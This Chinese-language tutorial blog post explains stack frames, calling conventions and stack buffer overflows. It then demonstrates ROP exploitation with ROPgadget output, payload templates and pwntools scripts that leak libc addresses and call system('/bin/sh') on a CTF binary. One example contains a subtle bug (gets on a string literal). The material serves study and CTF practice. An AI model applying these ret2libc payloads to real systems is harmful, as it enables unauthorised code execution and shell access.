缓冲区溢出及攻击总结(一)

5年前

缓冲区溢出原理

预备知识

我们先来看下缓冲区是什么,它就是内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分内存空间就叫缓冲区,主要由堆,栈和静态数据区组成。当然也有缓冲寄存器,不过由于价格昂贵且容量较小,一般只用在对速度要求非常高的场合。

缓冲区组成

一般缓冲区分三大类:全缓冲、行缓冲、无缓冲

1.全缓冲:只有在缓冲区被填满之后才会进行I/O操作,比如对磁盘文件的读写。

2.行缓冲:只有在输入或输出中遇到换行符的时候才会进行O/I操作,比如标准的输入流(stdin)和输出流(stdout)。

3.无缓冲:标准I/O不缓存字符,比如标准错误输出流。

对缓冲区操作的函数有哪些?(C语言)

标准输出函数:printf、puts、putchar等

标准输入函数:scanf、gets、getchar等

内存分配函数:malloc、new和数组等

IO_FILE:fopen、fwrite、fread、fseek等

清除缓存区:fflush

当我们没有对输入限制大小,超出分配函数分配的空间大小,就会发生缓冲区溢出,攻击者可利用缓冲区溢出来改变进程运行时栈,从而改变程序正常流向,可能会导致程序崩溃,甚至是系统权限被获取。

接下来我们引入栈帧结构(在堆栈中,是其一部分)。

在C语言中,一般来说,每个栈帧都对应着一个未完成的函数,保存了函数的返回地址和局部变量。栈帧也叫活动过程记录,是一种数据结构。

C 语言自动提供的服务之一就是跟踪调用链——哪些函数调用了哪些函数,当下一个return语句执行后,控制将返回何处等。解决这个问题的经典机制是堆栈中的活动记录。

当每个函数被调用时,都会产生一个过程记录(或者类似的结构)。过程活动记录是一种数据结构,用于支持过程调用,并记录调用结束以后返回调用点所需要的全部信息。结构如下图所示

静态链接处应为动态连接,包含静态解析

函数调用时会遵守函数调用约定去传递参数和返回地址。调用约定有这几种:__stdcall__cdecl__fastcall,__thiscall,__nakedcall,__pascal,__vectorcall。

参数传递顺序

1.从右到左依次入栈:__stdcall__cdecl,__thiscall,__fastcall

2.从左到右依次入栈:__pascal

调用堆栈清理

1.调用者清除栈。 2.被调用函数返回后清除栈。

原理

看完函数调用约定我们回头继续学习栈帧结构。

每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。下图为地址空间、栈帧所处层次结构。

由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此给系统安全带来一些隐患。若将函数返回地址修改为指向一段的恶意代码,则可达到危害系统安全的目的。此外,堆栈的恢复依赖于压栈的ebp值的正确性,但ebp域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改ebp值或返回地址,则程序的行为将变得非常危险。

我们可以编写一个简单程序,进行调试,深入理解程序是如何运行的。源代码如下,测试系统为Kali 20.04 (64位),使用工具为GDB

#include <stdio.h> 
int add (int a,int b); 
int main () 
{ 
        int a=1,b=2,c; 
        c=add(a,b); 
        printf("%d",c); 
        return 0; 
} 
int add (int a,int b) 
{ 
        int c; 
        c=a+b; 
        return c; 
}

汇编代码如下

   0x555555555139 <main+4>     sub    rsp, 0x10
   0x55555555513d <main+8>     mov    dword ptr [rbp - 4], 1
   0x555555555144 <main+15>    mov    dword ptr [rbp - 8], 2
   0x55555555514b <main+22>    mov    edx, dword ptr [rbp - 8]
   0x55555555514e <main+25>    mov    eax, dword ptr [rbp - 4]
   0x555555555151 <main+28>    mov    esi, edx
   0x555555555153 <main+30>    mov    edi, eax
 ► 0x555555555155 <main+32>    call   add                <add>
        rdi: 0x1
        rsi: 0x2
        rdx: 0x2
        rcx: 0x7ffff7fad738 (__exit_funcs) —▸ 0x7ffff7fafb20 (initial) ◂— 0x0

   0x55555555515a <main+37>    mov    dword ptr [rbp - 0xc], eax
   0x55555555515d <main+40>    mov    eax, dword ptr [rbp - 0xc]
   0x555555555160 <main+43>    mov    esi, eax
   0x555555555162 <main+45>    lea    rdi, [rip + 0xe9b]
   0x555555555169 <main+52>    mov    eax, 0

我们来看看gdb开始调试的信息

rbp和rsp指向同一个地址,执行main函数之前的rp,空间分配出来了。0x555555555135 (main) ◂— push rbp压入主函数的rbp值。也可以画个堆栈图进行理解。

再来看看调试时的信息

执行ret指令,返回地址出栈,跳到返回地址。通过rip移动可知道返回地址在rbp下面。rbp出栈恢复原来的值。

程序就快结束了。

想要更详细的了解缓冲区溢出,参考某大神文章,点击这里

漏洞利用

本篇只研究栈溢出漏洞利用

危险函数

我们在上文列出了一些缓冲区操作的函数,这里我们就讲讲常发生栈溢出的危险函数。

gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换成’\x00′;

scanf():格式化字符串中的%s不会检查长度;

vscanf():同上;

sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度;

strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;

strcat(): 同上。

覆盖位置

一般分为三种:

1.覆盖函数返回地址,通过覆盖返回地址控制程序。

2.覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现场,返回时再恢复,如下(以x64程序为例):

push    rbp
mov rbp,rsp
leave                  ;相当于mov rsp,rbp          pop rbp
ret

返回时:如果栈上的BP值被覆盖,那么函数返回后,主调函数的BP值会被改变,主调函数返回指令ret时,SP不会指向原来的返回地址位置,而是被修改的BP位置。

3.根据现实执行情况,覆盖特定的变量或地址的内容,可能导致一些逻辑漏洞的出现。

ROP

在前面两篇文章中,我学习了简单的返回式导向编程(ROP),但是现实情况不可能这么简单就获取shell。所以我将深入学习ROP,去实现更深层次的漏洞挖掘。

我们可以利用ret(0xc3)指令结尾的指令片段(gadget)构建一条ROP链,来实现任意指令执行,最终实现任意代码执行。

我们可以将其分为三步:

1.寻找ret指令,查看ret前的字节是否包含有效指令;

2.找到有效指令后,将其标记,得到一系列这样以ret结束的指令后,将这些指令的地址按顺序排列放在栈上;

3.这样就会让程序每次执行完相应指令后,其结尾的ret指令会将程序控制流传递给栈顶的新的Gadget继续执行。这样一段连续的Gadget构成了一条ROP链,从而实现任意指令执行。

工具准备

IDA Pro、ROPgadget、pwntools等

例子:

#include<stdio.h> 
#include<unistd.h> 
int main(){ 
        char buf[10]; 
        puts("hello"); 
        gets("buf"); 
}

用下列命令进行编译:

gcc rop.c -o rop -no-pie -fno-stack-protector

程序中没有预置的可以用来执行命令的函数
先用ROPgadget找出程序中的Gadget:

Gadgets information
============================================================
0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; leave ; ret
0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107e : add byte ptr [rax], al ; ret
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040107d : add byte ptr [rax], r8b ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040115b : add cl, cl ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401130 : jmp 0x4010c0
0x0000000000401153 : jmp 0xffffffffb9401156
0x00000000004010ac : jmp rax
0x000000000040115c : leave ; ret
0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401157 : mov eax, 0 ; leave ; ret
0x00000000004010a7 : mov edi, 0x404038 ; jmp rax
0x00000000004010af : nop ; ret
0x000000000040107b : nop dword ptr [rax + rax] ; ret
0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0
0x00000000004011bd : nop dword ptr [rax] ; ret
0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b8 : pop r14 ; pop r15 ; ret
0x00000000004011ba : pop r15 ; ret
0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011bb : pop rdi ; ret
0x00000000004011b9 : pop rsi ; pop r15 ; ret
0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401016 : ret
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 67

这个程序很小,可供使用的Gadget非常有限,其中没有可以用来执行系统调用的Gadget,所以很难实现任意代码执行。但可以想办法先获取一些动态链接库(如libc)的加载地址,再使用libc中的Gadget构造可以实现任意代码执行的ROP。
程序中常常有像puts、gets等libc提供的库函数,这些函数再内存中的地址会写在程序的GOT表中,当程序调用库函数时,会在GOT表中读出对应函数在内存中的地址,然后跳转到该地址执行,所以先利用puts函数打印库函数地址,减掉该库函数与libc加载基地址的偏移,就可以计算出libc的基地址。

.plt:0000000000401030
.plt:0000000000401030 ; Attributes: thunk
.plt:0000000000401030
.plt:0000000000401030 ; int puts(const char *s)
.plt:0000000000401030 _puts           proc near      ; CODE XREF:main+F↓p
.plt:0000000000401030                 jmp     cs:off_404018
.plt:0000000000401030 _puts           endp
.plt:0000000000401030
.plt:0000000000401036 ; --------------------------------------------------

puts函数被保存在0x404018位置,只要调用puts(0x404018),就会打印puts函数在libc中的地址。

from pwn import *
p=process('./rop')
pop_rdi=0x4011bb
puts_got=0x404018
puts=0x401030
p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
p.recvuntil(b'\n')
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
[+] Starting local process './rop': pid 25192
0x7f8f18a09210
[*] Stopped process './rop' (pid 25192)

根据puts函数在libc库中的偏移地址,就可以计算出libc的基地址,然后可以利用libc中的gadget构造可以执行”/bin/sh”的ROP,从而获得shell。

参数传递

32位传参是通过栈来传递

利用write函数泄露libc中write的地址的payload模板:

payload = 'a' *xxx + p32(write_plt) + p32(ret_addr) + p32(1) + p32(got_write) + p32(4)

32位含参调用模板:

payload = 'a' * xxx + p32(fun1_addr) + p32(fun2_addr) + p32(arg_1) + p32(arg_2)….

64位前六个参数传递是靠寄存器rdi,rsi,edx,ecx,r8,r9,然后再栈。

我们仅能控制栈中的数据,因此需要利用一些gadgets。

pop | ret 利用模板:

payload = 'a' * xx + p64(gadget_addr) + p64(rdi) + p64(func_addr)

pop | call 利用模板:

payload = 'a' * xx + p64(gadget) + p64(func_addr) + p64(rdi)

一个rdi适合一个参数的函数传参 参考链接

三个参数用__libc_csu_init()这个函数 参考链接

六个参数可以用_dl_runtime_resolve()这个函数 参考链接

下面我们看道简单的例题:

链接:https://pan.baidu.com/s/12DpUsJyep7zvFd03ka5uaQ
提取码:abcd

官方wp如下(我只保留了exp的关键部分并加了部分注释):

test_thread = 0x4011b6
prdi = 0x0000000000401313
ret = 0x000000000040101a

pay = b'c'* (0x30-4)                          #垃圾数据,一直填充至i
pay += p32(0x30-4)                            # int i,防止被意外改变
pay += p64(0)                                 # 填充rbp
pay += p64(prdi) +p64(binary.got['puts'])     #引用got表的puts给rdi
pay += p64(binary.plt['puts'])
pay += p64(test_thread)                       #返回test_thread函数
sl(pay)
ru(b'\n')
puts = uu64(ru(b'\n', drop=True))             #得到put地址
leak('puts', puts)

lbase = puts-libc.sym['puts']                 #得到libc基址
system = lbase+libc.sym['system']             #得到system地址
binsh = lbase+next(libc.search(b'/bin/sh'))   #得到binsh地址
pay = b'c'* (0x30-4)                          #垃圾数据,一直填充至i
pay += p32(0x30-4)                            # int i,防止被意外改变
pay += p64(0)                                 # 填充rbp
pay += p64(prdi) +p64(binsh)                  #binsh传给rdi
pay += p64(ret)                               # 栈对齐
pay += p64(system)                            # 返回system函数

大概就是这么个流程,不懂可以留言